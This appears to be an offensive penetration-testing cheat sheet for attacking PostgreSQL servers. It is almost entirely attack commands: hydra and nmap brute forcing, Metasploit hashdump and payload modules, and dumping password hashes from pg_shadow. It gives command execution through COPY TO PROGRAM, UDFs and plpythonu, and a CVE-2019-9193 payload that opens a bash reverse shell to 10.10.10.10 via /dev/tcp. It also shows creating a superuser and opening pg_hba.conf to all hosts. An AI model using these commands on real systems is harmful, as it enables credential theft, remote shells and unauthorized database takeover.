Skip to content

🐘 PostgreSQL - 5432 ​

πŸ” Enum ​

bash
nmap --script pgsql-brute -p 5432 $IP

hydra -l username -p password <target-ip> postgres://

Metasploit ​

bash
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

βš™οΈ SQL Queries ​

sql
-- Print the version of PostgreSQL
SELECT version();

-- Current user
SELECT current_user;

-- List all users
\du
SELECT usename, passwd FROM pg_shadow;

-- Display command history
\s

-- List databases
\l

-- Switch to the given database
\c <database>

-- List tables
\dt

-- Descibe the table information
\d <table_name>
SELECT column_name FROM information_schema.columns WHERE table_name='<table>';

-- Get values in the table
select * from <table>;

-- Privileges
SELECT * FROM information_schema.role_table_grants;

πŸ’» Command ​

bash
# Connect
psql -h <target-ip> -p <target-port> -d <database> -U <username> -W # -W: Force password prompt
psql -h <target-ip> -p <target-port> -d <database> -U <username> -w # -w: No password

πŸ’₯ RCE ​

sql
-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'whoami';

CVE-2019-9193 ​

sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

UDF (User Defined Function) ​

sql
-- Requires superuser & writable /lib dir
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text
AS '/tmp/libudf.so', 'sys_eval'
LANGUAGE C STRICT;
SELECT sys_eval('id');

-- PostgreSQL: create function to execute shell
CREATE FUNCTION rce() RETURNS void AS $$
  import os
  os.system('whoami')
$$ LANGUAGE plpythonu;

SELECT rce();

Privilege Escalation ​

sql
-- Create superuser
CREATE ROLE hacker SUPERUSER LOGIN PASSWORD 'password';

-- Add to role
GRANT ALL PRIVILEGES ON DATABASE <db> TO hacker;

-- Bypass pg_hba.conf (if writable)
# Add: host all all 0.0.0.0/0 trust